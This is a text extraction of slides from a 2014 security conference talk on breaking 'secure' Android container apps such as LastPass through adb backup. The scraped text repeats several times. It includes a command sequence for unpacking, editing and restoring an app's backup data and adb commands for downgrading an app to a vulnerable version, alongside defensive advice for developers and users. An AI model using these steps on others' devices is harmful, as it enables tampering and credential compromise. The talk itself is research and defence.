Chris John Riley | 22102014 | 214

METHOD

1

Chris John Riley | 22102014 | 215

Reinstall flag

Reinstall app using ndashr parameterbull APK MUST have valid matching signature

adb install -r ltvulnerble_versionapkgt

Chris John Riley | 22102014 | 216

METHOD

2

Chris John Riley | 22102014 | 217

Uninstall Reinstall

bull Uninstall applicationbull Leave program data in place (-k)

bull Reinstall appbull APK MUST have valid matching signature

1gt adb uninstall -k ltcurrentappversiongt2gt adb install ltvulnerble_versionapkgt

Chris John Riley | 22102014 | 218

exploit

Chris John Riley | 22102014 | 219

derpppp

derp

DerpderpDERPDE

RPderp

derp

Derpderp DE

RP

derp DerpderP

Chris John Riley | 22102014 | 221

5

][ RE

VIEW

Chris John Riley | 22102014 | 222

ldquosecurerdquocontainers

=SECURE containers

Chris John Riley | 22102014 | 223

Physıcal access

Chris John Riley | 22102014 | 225

Devıcesecurity

Chris John Riley | 22102014 | 226

Datasecurity

Chris John Riley | 22102014 | 228

51

)( ITFIX

Chris John Riley | 22102014 | 230

specificissues

Chris John Riley | 22102014 | 231

lastpass

Chris John Riley | 22102014 | 232

spideroak

Chris John Riley | 22102014 | 233

boxcom

Chris John Riley | 22102014 | 234

GOODfor enterprise

Chris John Riley | 22102014 | 236

Developers

Can youread this

Chris John Riley | 22102014 | 238

androidallowBackup

httpdeveloperandroidcomguidetopicsdatabackuphtml

Chris John Riley | 22102014 | 239

Some devs

GET it

Chris John Riley | 22102014 | 240

Chris John Riley | 22102014 | 241

pref fıles

Chris John Riley | 22102014 | 242

Securing Apps

bull Preference files are NOT secretbull Encrypt preference databull ONLY store encrypted passwords

bull No XOR base64 pleasebull Better still donrsquot store passwords here

bull Donrsquot TRUST the configbull HMAC | Sign | Encrypt

Chris John Riley | 22102014 | 243

androıd backup

Chris John Riley | 22102014 | 244

Securing Apps

bull Disallow Android Backupbull if you donrsquot absolutely need it

ltapplication androidallowBackup=ldquofalserdquogt

Chris John Riley | 22102014 | 245

extra securıty

Chris John Riley | 22102014 | 246

Extra Security

bull USB Debuggingbull Detect + Disable app when activated

bull Root makes these hacks easier stillbull readedit preference files on device itselfbull ROOT detection is too basic

bull easy to fool

usersen

d

Chris John Riley | 22102014 | 248

Users

bull Encrypt your devicebull Encrypts ADB backups

bull Need to enter same passcode on backup screen

bull Disable USB Debuggingbull protects against adb pull push attacks

bull Donrsquot lose your phone )

Chris John Riley | 22102014 | 249

Users

bull Upgrade to the latest Android releasebull If possible

bull Additional ADB protectionsbull Introduced in Android 43

QuestionsOMFG

A Talking Horse

Bite me space boy

Thanks for cominghttpblogc22cc

ChrisJohnRiley contactc22cc

  • MOBILE FAIL Cracking open bdquosecureldquo Android Containers
  • Slide 2
  • Slide 3
  • Slide 4
  • Slide 5
  • Slide 6
  • Slide 7
  • Slide 8
  • Slide 9
  • Slide 10
  • Slide 11
  • Slide 12
  • Slide 13
  • Slide 14
  • ldquoSecurerdquo Containers
  • Slide 16
  • Slide 17
  • Slide 18
  • Slide 19
  • Slide 20
  • Slide 21
  • Slide 22
  • Slide 23
  • Slide 24
  • Slide 25
  • Slide 26
  • Slide 27
  • Slide 28
  • Slide 29
  • Slide 30
  • Slide 31
  • Slide 32
  • Android PIN Brute-Force
  • Slide 34
  • Slide 35
  • Slide 36
  • Slide 37
  • Slide 38
  • Scenario
  • Slide 40
  • Slide 41
  • Slide 42
  • Slide 43
  • Slide 44
  • Slide 45
  • Slide 46
  • Slide 47
  • Slide 48
  • Slide 49
  • Slide 50
  • Slide 51
  • Slide 52
  • Slide 53
  • Slide 54
  • Slide 55
  • Slide 56
  • Slide 57
  • Slide 58
  • ADB ndash Android Debug Bridge
  • Slide 60
  • Slide 61
  • ADB ndash Android Debug Bridge (2)
  • ADB ndash Android Debug Bridge (3)
  • ADB ndash Android Debug Bridge (4)
  • ADB ndash Android Debug Bridge (5)
  • ADB ndash Android Debug Bridge (6)
  • Supporting Tools
  • Slide 68
  • Slide 69
  • Slide 70
  • Slide 71
  • Slide 72
  • lastpass
  • lastpass (2)
  • Slide 75
  • Slide 76
  • Slide 77
  • Slide 78
  • Slide 79
  • Slide 80
  • Slide 81
  • AndroidManifestxml
  • AndroidManifestxml (2)
  • Slide 84
  • Slide 85
  • Slide 86
  • Android Backup (ab)
  • Slide 88
  • LPandroidxml
  • Slide 90
  • Slide 91
  • Slide 92
  • Slide 93
  • Slide 94
  • Theory
  • Proposed Attack
  • Slide 97
  • Slide 98
  • Slide 99
  • Slide 100
  • Slide 101
  • Slide 102
  • Slide 103
  • Slide 104
  • Slide 105
  • Slide 106
  • Slide 107
  • Slide 108
  • Slide 109
  • Slide 110
  • Easier Attack
  • Slide 112
  • Slide 113
  • Slide 114
  • Slide 115
  • Persistence
  • Slide 117
  • Slide 118
  • Slide 119
  • Slide 120
  • Slide 121
  • Slide 122
  • Slide 123
  • Slide 124
  • Slide 125
  • Slide 126
  • Slide 127
  • Slide 128
  • Slide 129
  • Slide 130
  • Slide 131
  • Slide 132
  • Slide 133
  • Slide 134
  • Slide 135
  • Slide 136
  • Slide 137
  • Slide 138
  • Slide 139
  • Slide 140
  • Slide 141
  • Slide 142
  • Slide 143
  • Slide 144
  • GOOD
  • Adv security features
  • Slide 147
  • Slide 148
  • Slide 149
  • Slide 150
  • Slide 151
  • Slide 152
  • Slide 153
  • Slide 154
  • Slide 155
  • Slide 156
  • Slide 157
  • AndroidManifestxml (3)
  • DERP
  • Slide 160
  • Theory (2)
  • Slide 162
  • Slide 163
  • Slide 164
  • Slide 165
  • Slide 166
  • Naiumlve Attack
  • Slide 168
  • Slide 169
  • Naiumlve Attack timing
  • Naiumlve Attack timing (2)
  • Naiumlve Attack timing (3)
  • Slide 173
  • Slide 174
  • Slide 175
  • Slide 176
  • Slide 177
  • Slide 178
  • Slide 179
  • Slide 180
  • Adv Attack
  • Slide 182
  • Minimize keyspace
  • Slide 184
  • Slide 185
  • Slide 186
  • Slide 187
  • Slide 188
  • Slide 189
  • methodology
  • Slide 191
  • Slide 192
  • Slide 193
  • Slide 194
  • Slide 195
  • Slide 196
  • Slide 197
  • Slide 198
  • ab_unpackerpy
  • ab_packerpy
  • Slide 201
  • Slide 202
  • Slide 203
  • Slide 204
  • Slide 205
  • Slide 206
  • Slide 207
  • Slide 208
  • Slide 209
  • Slide 210
  • Exploiting it anyway
  • Exploiting it anyway (2)
  • Slide 213
  • Slide 214
  • Reinstall flag
  • Slide 216
  • Uninstall Reinstall
  • Slide 218
  • Slide 219
  • Slide 220
  • Slide 221
  • Slide 222
  • Slide 223
  • Slide 224
  • Slide 225
  • Slide 226
  • Slide 227
  • Slide 228
  • Slide 229
  • Slide 230
  • Slide 231
  • Slide 232
  • Slide 233
  • Slide 234
  • Slide 235
  • Slide 236
  • Slide 237
  • androidallowBackup
  • Slide 239
  • Slide 240
  • Slide 241
  • Securing Apps
  • Slide 243
  • Securing Apps (2)
  • Slide 245
  • Extra Security
  • Slide 247
  • Users
  • Users (2)
  • Slide 250
  • Slide 251
  • Slide 252
  • Slide 253
Page 162: Mobile Fail: Cracking Open "secure" Android Containers [SecTorCA]

Chris John Riley | 22102014 | 192

0 - adb backup comlastpasslpandroid -f lpassab

1 - dd if=lpassab bs=24 skip=1 | openssl zlib -d gt lpasstar

2 - tar -tf lpasstar gt lpasslist

3 - tar -xvf lpasstar

4 - edit appscomlastpasslpandroidspLPandroidxml

5 - star -c -v -f lpass_newtar -no-dirslash list=lpasslist apps

6 - dd if=lpassab bs=24 count=1 of=lpass_newab

7 - openssl zlib -in lpass_newtar gtgt lpass_newab

8 - adb restore lpass_newab

Chris John Riley | 22102014 | 193

Say that 10 times fast

Chris John Riley | 22102014 | 195

automatıon

Chris John Riley | 22102014 | 198

Pythontothe rescue

Chris John Riley | 22102014 | 199

ab_unpackerpy

httpsgithubcomChrisJohnRileyRandom_Code

Chris John Riley | 22102014 | 200

ab_packerpy

httpsgithubcomChrisJohnRileyRandom_Code

Chris John Riley | 22102014 | 201

Makes 0wning things

Chris John Riley | 22102014 | 202

200 quicker

1000 funner

oo

oo

Chris John Riley | 22102014 | 207

Bonus

n0t a bug

Chris John Riley | 22102014 | 208

Chris John Riley | 22102014 | 209

You have an application bugbull Like one of the ones mentioned herebull Buthellip the vendor has patched it

Chris John Riley | 22102014 | 210

exploit

Chris John Riley | 22102014 | 211

Exploiting it anyway

Canrsquot exploit it straight offbull Need to make the vuln re-appear

Chris John Riley | 22102014 | 212

Exploiting it anyway

Android allows downgrading of appsbull In a round-about way anyway )bull Bug or feature

bull Google says feature

Chris John Riley | 22102014 | 213

Chris John Riley | 22102014 | 214

METHOD

1

Chris John Riley | 22102014 | 215

Reinstall flag

Reinstall app using ndashr parameterbull APK MUST have valid matching signature

adb install -r ltvulnerble_versionapkgt

Chris John Riley | 22102014 | 216

METHOD

2

Chris John Riley | 22102014 | 217

Uninstall Reinstall

bull Uninstall applicationbull Leave program data in place (-k)

bull Reinstall appbull APK MUST have valid matching signature

1gt adb uninstall -k ltcurrentappversiongt2gt adb install ltvulnerble_versionapkgt

Chris John Riley | 22102014 | 218

exploit

Chris John Riley | 22102014 | 219

derpppp

derp

DerpderpDERPDE

RPderp

derp

Derpderp DE

RP

derp DerpderP

Chris John Riley | 22102014 | 221

5

][ RE

VIEW

Chris John Riley | 22102014 | 222

ldquosecurerdquocontainers

=SECURE containers

Chris John Riley | 22102014 | 223

Physıcal access

Chris John Riley | 22102014 | 225

Devıcesecurity

Chris John Riley | 22102014 | 226

Datasecurity

Chris John Riley | 22102014 | 228

51

)( ITFIX

Chris John Riley | 22102014 | 230

specificissues

Chris John Riley | 22102014 | 231

lastpass

Chris John Riley | 22102014 | 232

spideroak

Chris John Riley | 22102014 | 233

boxcom

Chris John Riley | 22102014 | 234

GOODfor enterprise

Chris John Riley | 22102014 | 236

Developers

Can youread this

Chris John Riley | 22102014 | 238

androidallowBackup

httpdeveloperandroidcomguidetopicsdatabackuphtml

Chris John Riley | 22102014 | 239

Some devs

GET it

Chris John Riley | 22102014 | 240

Chris John Riley | 22102014 | 241

pref fıles

Chris John Riley | 22102014 | 242

Securing Apps

bull Preference files are NOT secretbull Encrypt preference databull ONLY store encrypted passwords

bull No XOR base64 pleasebull Better still donrsquot store passwords here

bull Donrsquot TRUST the configbull HMAC | Sign | Encrypt

Chris John Riley | 22102014 | 243

androıd backup

Chris John Riley | 22102014 | 244

Securing Apps

bull Disallow Android Backupbull if you donrsquot absolutely need it

ltapplication androidallowBackup=ldquofalserdquogt

Chris John Riley | 22102014 | 245

extra securıty

Chris John Riley | 22102014 | 246

Extra Security

bull USB Debuggingbull Detect + Disable app when activated

bull Root makes these hacks easier stillbull readedit preference files on device itselfbull ROOT detection is too basic

bull easy to fool

usersen

d

Chris John Riley | 22102014 | 248

Users

bull Encrypt your devicebull Encrypts ADB backups

bull Need to enter same passcode on backup screen

bull Disable USB Debuggingbull protects against adb pull push attacks

bull Donrsquot lose your phone )

Chris John Riley | 22102014 | 249

Users

bull Upgrade to the latest Android releasebull If possible

bull Additional ADB protectionsbull Introduced in Android 43

QuestionsOMFG

A Talking Horse

Bite me space boy

Thanks for cominghttpblogc22cc

ChrisJohnRiley contactc22cc

  • MOBILE FAIL Cracking open bdquosecureldquo Android Containers
  • Slide 2
  • Slide 3
  • Slide 4
  • Slide 5
  • Slide 6
  • Slide 7
  • Slide 8
  • Slide 9
  • Slide 10
  • Slide 11
  • Slide 12
  • Slide 13
  • Slide 14
  • ldquoSecurerdquo Containers
  • Slide 16
  • Slide 17
  • Slide 18
  • Slide 19
  • Slide 20
  • Slide 21
  • Slide 22
  • Slide 23
  • Slide 24
  • Slide 25
  • Slide 26
  • Slide 27
  • Slide 28
  • Slide 29
  • Slide 30
  • Slide 31
  • Slide 32
  • Android PIN Brute-Force
  • Slide 34
  • Slide 35
  • Slide 36
  • Slide 37
  • Slide 38
  • Scenario
  • Slide 40
  • Slide 41
  • Slide 42
  • Slide 43
  • Slide 44
  • Slide 45
  • Slide 46
  • Slide 47
  • Slide 48
  • Slide 49
  • Slide 50
  • Slide 51
  • Slide 52
  • Slide 53
  • Slide 54
  • Slide 55
  • Slide 56
  • Slide 57
  • Slide 58
  • ADB ndash Android Debug Bridge
  • Slide 60
  • Slide 61
  • ADB ndash Android Debug Bridge (2)
  • ADB ndash Android Debug Bridge (3)
  • ADB ndash Android Debug Bridge (4)
  • ADB ndash Android Debug Bridge (5)
  • ADB ndash Android Debug Bridge (6)
  • Supporting Tools
  • Slide 68
  • Slide 69
  • Slide 70
  • Slide 71
  • Slide 72
  • lastpass
  • lastpass (2)
  • Slide 75
  • Slide 76
  • Slide 77
  • Slide 78
  • Slide 79
  • Slide 80
  • Slide 81
  • AndroidManifestxml
  • AndroidManifestxml (2)
  • Slide 84
  • Slide 85
  • Slide 86
  • Android Backup (ab)
  • Slide 88
  • LPandroidxml
  • Slide 90
  • Slide 91
  • Slide 92
  • Slide 93
  • Slide 94
  • Theory
  • Proposed Attack
  • Slide 97
  • Slide 98
  • Slide 99
  • Slide 100
  • Slide 101
  • Slide 102
  • Slide 103
  • Slide 104
  • Slide 105
  • Slide 106
  • Slide 107
  • Slide 108
  • Slide 109
  • Slide 110
  • Easier Attack
  • Slide 112
  • Slide 113
  • Slide 114
  • Slide 115
  • Persistence
  • Slide 117
  • Slide 118
  • Slide 119
  • Slide 120
  • Slide 121
  • Slide 122
  • Slide 123
  • Slide 124
  • Slide 125
  • Slide 126
  • Slide 127
  • Slide 128
  • Slide 129
  • Slide 130
  • Slide 131
  • Slide 132
  • Slide 133
  • Slide 134
  • Slide 135
  • Slide 136
  • Slide 137
  • Slide 138
  • Slide 139
  • Slide 140
  • Slide 141
  • Slide 142
  • Slide 143
  • Slide 144
  • GOOD
  • Adv security features
  • Slide 147
  • Slide 148
  • Slide 149
  • Slide 150
  • Slide 151
  • Slide 152
  • Slide 153
  • Slide 154
  • Slide 155
  • Slide 156
  • Slide 157
  • AndroidManifestxml (3)
  • DERP
  • Slide 160
  • Theory (2)
  • Slide 162
  • Slide 163
  • Slide 164
  • Slide 165
  • Slide 166
  • Naiumlve Attack
  • Slide 168
  • Slide 169
  • Naiumlve Attack timing
  • Naiumlve Attack timing (2)
  • Naiumlve Attack timing (3)
  • Slide 173
  • Slide 174
  • Slide 175
  • Slide 176
  • Slide 177
  • Slide 178
  • Slide 179
  • Slide 180
  • Adv Attack
  • Slide 182
  • Minimize keyspace
  • Slide 184
  • Slide 185
  • Slide 186
  • Slide 187
  • Slide 188
  • Slide 189
  • methodology
  • Slide 191
  • Slide 192
  • Slide 193
  • Slide 194
  • Slide 195
  • Slide 196
  • Slide 197
  • Slide 198
  • ab_unpackerpy
  • ab_packerpy
  • Slide 201
  • Slide 202
  • Slide 203
  • Slide 204
  • Slide 205
  • Slide 206
  • Slide 207
  • Slide 208
  • Slide 209
  • Slide 210
  • Exploiting it anyway
  • Exploiting it anyway (2)
  • Slide 213
  • Slide 214
  • Reinstall flag
  • Slide 216
  • Uninstall Reinstall
  • Slide 218
  • Slide 219
  • Slide 220
  • Slide 221
  • Slide 222
  • Slide 223
  • Slide 224
  • Slide 225
  • Slide 226
  • Slide 227
  • Slide 228
  • Slide 229
  • Slide 230
  • Slide 231
  • Slide 232
  • Slide 233
  • Slide 234
  • Slide 235
  • Slide 236
  • Slide 237
  • androidallowBackup
  • Slide 239
  • Slide 240
  • Slide 241
  • Securing Apps
  • Slide 243
  • Securing Apps (2)
  • Slide 245
  • Extra Security
  • Slide 247
  • Users
  • Users (2)
  • Slide 250
  • Slide 251
  • Slide 252
  • Slide 253
Page 163: Mobile Fail: Cracking Open "secure" Android Containers [SecTorCA]

Chris John Riley | 22102014 | 193

Say that 10 times fast

Chris John Riley | 22102014 | 195

automatıon

Chris John Riley | 22102014 | 198

Pythontothe rescue

Chris John Riley | 22102014 | 199

ab_unpackerpy

httpsgithubcomChrisJohnRileyRandom_Code

Chris John Riley | 22102014 | 200

ab_packerpy

httpsgithubcomChrisJohnRileyRandom_Code

Chris John Riley | 22102014 | 201

Makes 0wning things

Chris John Riley | 22102014 | 202

200 quicker

1000 funner

oo

oo

Chris John Riley | 22102014 | 207

Bonus

n0t a bug

Chris John Riley | 22102014 | 208

Chris John Riley | 22102014 | 209

You have an application bugbull Like one of the ones mentioned herebull Buthellip the vendor has patched it

Chris John Riley | 22102014 | 210

exploit

Chris John Riley | 22102014 | 211

Exploiting it anyway

Canrsquot exploit it straight offbull Need to make the vuln re-appear

Chris John Riley | 22102014 | 212

Exploiting it anyway

Android allows downgrading of appsbull In a round-about way anyway )bull Bug or feature

bull Google says feature

Chris John Riley | 22102014 | 213

Chris John Riley | 22102014 | 214

METHOD

1

Chris John Riley | 22102014 | 215

Reinstall flag

Reinstall app using ndashr parameterbull APK MUST have valid matching signature

adb install -r ltvulnerble_versionapkgt

Chris John Riley | 22102014 | 216

METHOD

2

Chris John Riley | 22102014 | 217

Uninstall Reinstall

bull Uninstall applicationbull Leave program data in place (-k)

bull Reinstall appbull APK MUST have valid matching signature

1gt adb uninstall -k ltcurrentappversiongt2gt adb install ltvulnerble_versionapkgt

Chris John Riley | 22102014 | 218

exploit

Chris John Riley | 22102014 | 219

derpppp

derp

DerpderpDERPDE

RPderp

derp

Derpderp DE

RP

derp DerpderP

Chris John Riley | 22102014 | 221

5

][ RE

VIEW

Chris John Riley | 22102014 | 222

ldquosecurerdquocontainers

=SECURE containers

Chris John Riley | 22102014 | 223

Physıcal access

Chris John Riley | 22102014 | 225

Devıcesecurity

Chris John Riley | 22102014 | 226

Datasecurity

Chris John Riley | 22102014 | 228

51

)( ITFIX

Chris John Riley | 22102014 | 230

specificissues

Chris John Riley | 22102014 | 231

lastpass

Chris John Riley | 22102014 | 232

spideroak

Chris John Riley | 22102014 | 233

boxcom

Chris John Riley | 22102014 | 234

GOODfor enterprise

Chris John Riley | 22102014 | 236

Developers

Can youread this

Chris John Riley | 22102014 | 238

androidallowBackup

httpdeveloperandroidcomguidetopicsdatabackuphtml

Chris John Riley | 22102014 | 239

Some devs

GET it

Chris John Riley | 22102014 | 240

Chris John Riley | 22102014 | 241

pref fıles

Chris John Riley | 22102014 | 242

Securing Apps

bull Preference files are NOT secretbull Encrypt preference databull ONLY store encrypted passwords

bull No XOR base64 pleasebull Better still donrsquot store passwords here

bull Donrsquot TRUST the configbull HMAC | Sign | Encrypt

Chris John Riley | 22102014 | 243

androıd backup

Chris John Riley | 22102014 | 244

Securing Apps

bull Disallow Android Backupbull if you donrsquot absolutely need it

ltapplication androidallowBackup=ldquofalserdquogt

Chris John Riley | 22102014 | 245

extra securıty

Chris John Riley | 22102014 | 246

Extra Security

bull USB Debuggingbull Detect + Disable app when activated

bull Root makes these hacks easier stillbull readedit preference files on device itselfbull ROOT detection is too basic

bull easy to fool

usersen

d

Chris John Riley | 22102014 | 248

Users

bull Encrypt your devicebull Encrypts ADB backups

bull Need to enter same passcode on backup screen

bull Disable USB Debuggingbull protects against adb pull push attacks

bull Donrsquot lose your phone )

Chris John Riley | 22102014 | 249

Users

bull Upgrade to the latest Android releasebull If possible

bull Additional ADB protectionsbull Introduced in Android 43

QuestionsOMFG

A Talking Horse

Bite me space boy

Thanks for cominghttpblogc22cc

ChrisJohnRiley contactc22cc

  • MOBILE FAIL Cracking open bdquosecureldquo Android Containers
  • Slide 2
  • Slide 3
  • Slide 4
  • Slide 5
  • Slide 6
  • Slide 7
  • Slide 8
  • Slide 9
  • Slide 10
  • Slide 11
  • Slide 12
  • Slide 13
  • Slide 14
  • ldquoSecurerdquo Containers
  • Slide 16
  • Slide 17
  • Slide 18
  • Slide 19
  • Slide 20
  • Slide 21
  • Slide 22
  • Slide 23
  • Slide 24
  • Slide 25
  • Slide 26
  • Slide 27
  • Slide 28
  • Slide 29
  • Slide 30
  • Slide 31
  • Slide 32
  • Android PIN Brute-Force
  • Slide 34
  • Slide 35
  • Slide 36
  • Slide 37
  • Slide 38
  • Scenario
  • Slide 40
  • Slide 41
  • Slide 42
  • Slide 43
  • Slide 44
  • Slide 45
  • Slide 46
  • Slide 47
  • Slide 48
  • Slide 49
  • Slide 50
  • Slide 51
  • Slide 52
  • Slide 53
  • Slide 54
  • Slide 55
  • Slide 56
  • Slide 57
  • Slide 58
  • ADB ndash Android Debug Bridge
  • Slide 60
  • Slide 61
  • ADB ndash Android Debug Bridge (2)
  • ADB ndash Android Debug Bridge (3)
  • ADB ndash Android Debug Bridge (4)
  • ADB ndash Android Debug Bridge (5)
  • ADB ndash Android Debug Bridge (6)
  • Supporting Tools
  • Slide 68
  • Slide 69
  • Slide 70
  • Slide 71
  • Slide 72
  • lastpass
  • lastpass (2)
  • Slide 75
  • Slide 76
  • Slide 77
  • Slide 78
  • Slide 79
  • Slide 80
  • Slide 81
  • AndroidManifestxml
  • AndroidManifestxml (2)
  • Slide 84
  • Slide 85
  • Slide 86
  • Android Backup (ab)
  • Slide 88
  • LPandroidxml
  • Slide 90
  • Slide 91
  • Slide 92
  • Slide 93
  • Slide 94
  • Theory
  • Proposed Attack
  • Slide 97
  • Slide 98
  • Slide 99
  • Slide 100
  • Slide 101
  • Slide 102
  • Slide 103
  • Slide 104
  • Slide 105
  • Slide 106
  • Slide 107
  • Slide 108
  • Slide 109
  • Slide 110
  • Easier Attack
  • Slide 112
  • Slide 113
  • Slide 114
  • Slide 115
  • Persistence
  • Slide 117
  • Slide 118
  • Slide 119
  • Slide 120
  • Slide 121
  • Slide 122
  • Slide 123
  • Slide 124
  • Slide 125
  • Slide 126
  • Slide 127
  • Slide 128
  • Slide 129
  • Slide 130
  • Slide 131
  • Slide 132
  • Slide 133
  • Slide 134
  • Slide 135
  • Slide 136
  • Slide 137
  • Slide 138
  • Slide 139
  • Slide 140
  • Slide 141
  • Slide 142
  • Slide 143
  • Slide 144
  • GOOD
  • Adv security features
  • Slide 147
  • Slide 148
  • Slide 149
  • Slide 150
  • Slide 151
  • Slide 152
  • Slide 153
  • Slide 154
  • Slide 155
  • Slide 156
  • Slide 157
  • AndroidManifestxml (3)
  • DERP
  • Slide 160
  • Theory (2)
  • Slide 162
  • Slide 163
  • Slide 164
  • Slide 165
  • Slide 166
  • Naiumlve Attack
  • Slide 168
  • Slide 169
  • Naiumlve Attack timing
  • Naiumlve Attack timing (2)
  • Naiumlve Attack timing (3)
  • Slide 173
  • Slide 174
  • Slide 175
  • Slide 176
  • Slide 177
  • Slide 178
  • Slide 179
  • Slide 180
  • Adv Attack
  • Slide 182
  • Minimize keyspace
  • Slide 184
  • Slide 185
  • Slide 186
  • Slide 187
  • Slide 188
  • Slide 189
  • methodology
  • Slide 191
  • Slide 192
  • Slide 193
  • Slide 194
  • Slide 195
  • Slide 196
  • Slide 197
  • Slide 198
  • ab_unpackerpy
  • ab_packerpy
  • Slide 201
  • Slide 202
  • Slide 203
  • Slide 204
  • Slide 205
  • Slide 206
  • Slide 207
  • Slide 208
  • Slide 209
  • Slide 210
  • Exploiting it anyway
  • Exploiting it anyway (2)
  • Slide 213
  • Slide 214
  • Reinstall flag
  • Slide 216
  • Uninstall Reinstall
  • Slide 218
  • Slide 219
  • Slide 220
  • Slide 221
  • Slide 222
  • Slide 223
  • Slide 224
  • Slide 225
  • Slide 226
  • Slide 227
  • Slide 228
  • Slide 229
  • Slide 230
  • Slide 231
  • Slide 232
  • Slide 233
  • Slide 234
  • Slide 235
  • Slide 236
  • Slide 237
  • androidallowBackup
  • Slide 239
  • Slide 240
  • Slide 241
  • Securing Apps
  • Slide 243
  • Securing Apps (2)
  • Slide 245
  • Extra Security
  • Slide 247
  • Users
  • Users (2)
  • Slide 250
  • Slide 251
  • Slide 252
  • Slide 253
Page 164: Mobile Fail: Cracking Open "secure" Android Containers [SecTorCA]

Chris John Riley | 22102014 | 195

automatıon

Chris John Riley | 22102014 | 198

Pythontothe rescue

Chris John Riley | 22102014 | 199

ab_unpackerpy

httpsgithubcomChrisJohnRileyRandom_Code

Chris John Riley | 22102014 | 200

ab_packerpy

httpsgithubcomChrisJohnRileyRandom_Code

Chris John Riley | 22102014 | 201

Makes 0wning things

Chris John Riley | 22102014 | 202

200 quicker

1000 funner

oo

oo

Chris John Riley | 22102014 | 207

Bonus

n0t a bug

Chris John Riley | 22102014 | 208

Chris John Riley | 22102014 | 209

You have an application bugbull Like one of the ones mentioned herebull Buthellip the vendor has patched it

Chris John Riley | 22102014 | 210

exploit

Chris John Riley | 22102014 | 211

Exploiting it anyway

Canrsquot exploit it straight offbull Need to make the vuln re-appear

Chris John Riley | 22102014 | 212

Exploiting it anyway

Android allows downgrading of appsbull In a round-about way anyway )bull Bug or feature

bull Google says feature

Chris John Riley | 22102014 | 213

Chris John Riley | 22102014 | 214

METHOD

1

Chris John Riley | 22102014 | 215

Reinstall flag

Reinstall app using ndashr parameterbull APK MUST have valid matching signature

adb install -r ltvulnerble_versionapkgt

Chris John Riley | 22102014 | 216

METHOD

2

Chris John Riley | 22102014 | 217

Uninstall Reinstall

bull Uninstall applicationbull Leave program data in place (-k)

bull Reinstall appbull APK MUST have valid matching signature

1gt adb uninstall -k ltcurrentappversiongt2gt adb install ltvulnerble_versionapkgt

Chris John Riley | 22102014 | 218

exploit

Chris John Riley | 22102014 | 219

derpppp

derp

DerpderpDERPDE

RPderp

derp

Derpderp DE

RP

derp DerpderP

Chris John Riley | 22102014 | 221

5

][ RE

VIEW

Chris John Riley | 22102014 | 222

ldquosecurerdquocontainers

=SECURE containers

Chris John Riley | 22102014 | 223

Physıcal access

Chris John Riley | 22102014 | 225

Devıcesecurity

Chris John Riley | 22102014 | 226

Datasecurity

Chris John Riley | 22102014 | 228

51

)( ITFIX

Chris John Riley | 22102014 | 230

specificissues

Chris John Riley | 22102014 | 231

lastpass

Chris John Riley | 22102014 | 232

spideroak

Chris John Riley | 22102014 | 233

boxcom

Chris John Riley | 22102014 | 234

GOODfor enterprise

Chris John Riley | 22102014 | 236

Developers

Can youread this

Chris John Riley | 22102014 | 238

androidallowBackup

httpdeveloperandroidcomguidetopicsdatabackuphtml

Chris John Riley | 22102014 | 239

Some devs

GET it

Chris John Riley | 22102014 | 240

Chris John Riley | 22102014 | 241

pref fıles

Chris John Riley | 22102014 | 242

Securing Apps

bull Preference files are NOT secretbull Encrypt preference databull ONLY store encrypted passwords

bull No XOR base64 pleasebull Better still donrsquot store passwords here

bull Donrsquot TRUST the configbull HMAC | Sign | Encrypt

Chris John Riley | 22102014 | 243

androıd backup

Chris John Riley | 22102014 | 244

Securing Apps

bull Disallow Android Backupbull if you donrsquot absolutely need it

ltapplication androidallowBackup=ldquofalserdquogt

Chris John Riley | 22102014 | 245

extra securıty

Chris John Riley | 22102014 | 246

Extra Security

bull USB Debuggingbull Detect + Disable app when activated

bull Root makes these hacks easier stillbull readedit preference files on device itselfbull ROOT detection is too basic

bull easy to fool

usersen

d

Chris John Riley | 22102014 | 248

Users

bull Encrypt your devicebull Encrypts ADB backups

bull Need to enter same passcode on backup screen

bull Disable USB Debuggingbull protects against adb pull push attacks

bull Donrsquot lose your phone )

Chris John Riley | 22102014 | 249

Users

bull Upgrade to the latest Android releasebull If possible

bull Additional ADB protectionsbull Introduced in Android 43

QuestionsOMFG

A Talking Horse

Bite me space boy

Thanks for cominghttpblogc22cc

ChrisJohnRiley contactc22cc

  • MOBILE FAIL Cracking open bdquosecureldquo Android Containers
  • Slide 2
  • Slide 3
  • Slide 4
  • Slide 5
  • Slide 6
  • Slide 7
  • Slide 8
  • Slide 9
  • Slide 10
  • Slide 11
  • Slide 12
  • Slide 13
  • Slide 14
  • ldquoSecurerdquo Containers
  • Slide 16
  • Slide 17
  • Slide 18
  • Slide 19
  • Slide 20
  • Slide 21
  • Slide 22
  • Slide 23
  • Slide 24
  • Slide 25
  • Slide 26
  • Slide 27
  • Slide 28
  • Slide 29
  • Slide 30
  • Slide 31
  • Slide 32
  • Android PIN Brute-Force
  • Slide 34
  • Slide 35
  • Slide 36
  • Slide 37
  • Slide 38
  • Scenario
  • Slide 40
  • Slide 41
  • Slide 42
  • Slide 43
  • Slide 44
  • Slide 45
  • Slide 46
  • Slide 47
  • Slide 48
  • Slide 49
  • Slide 50
  • Slide 51
  • Slide 52
  • Slide 53
  • Slide 54
  • Slide 55
  • Slide 56
  • Slide 57
  • Slide 58
  • ADB ndash Android Debug Bridge
  • Slide 60
  • Slide 61
  • ADB ndash Android Debug Bridge (2)
  • ADB ndash Android Debug Bridge (3)
  • ADB ndash Android Debug Bridge (4)
  • ADB ndash Android Debug Bridge (5)
  • ADB ndash Android Debug Bridge (6)
  • Supporting Tools
  • Slide 68
  • Slide 69
  • Slide 70
  • Slide 71
  • Slide 72
  • lastpass
  • lastpass (2)
  • Slide 75
  • Slide 76
  • Slide 77
  • Slide 78
  • Slide 79
  • Slide 80
  • Slide 81
  • AndroidManifestxml
  • AndroidManifestxml (2)
  • Slide 84
  • Slide 85
  • Slide 86
  • Android Backup (ab)
  • Slide 88
  • LPandroidxml
  • Slide 90
  • Slide 91
  • Slide 92
  • Slide 93
  • Slide 94
  • Theory
  • Proposed Attack
  • Slide 97
  • Slide 98
  • Slide 99
  • Slide 100
  • Slide 101
  • Slide 102
  • Slide 103
  • Slide 104
  • Slide 105
  • Slide 106
  • Slide 107
  • Slide 108
  • Slide 109
  • Slide 110
  • Easier Attack
  • Slide 112
  • Slide 113
  • Slide 114
  • Slide 115
  • Persistence
  • Slide 117
  • Slide 118
  • Slide 119
  • Slide 120
  • Slide 121
  • Slide 122
  • Slide 123
  • Slide 124
  • Slide 125
  • Slide 126
  • Slide 127
  • Slide 128
  • Slide 129
  • Slide 130
  • Slide 131
  • Slide 132
  • Slide 133
  • Slide 134
  • Slide 135
  • Slide 136
  • Slide 137
  • Slide 138
  • Slide 139
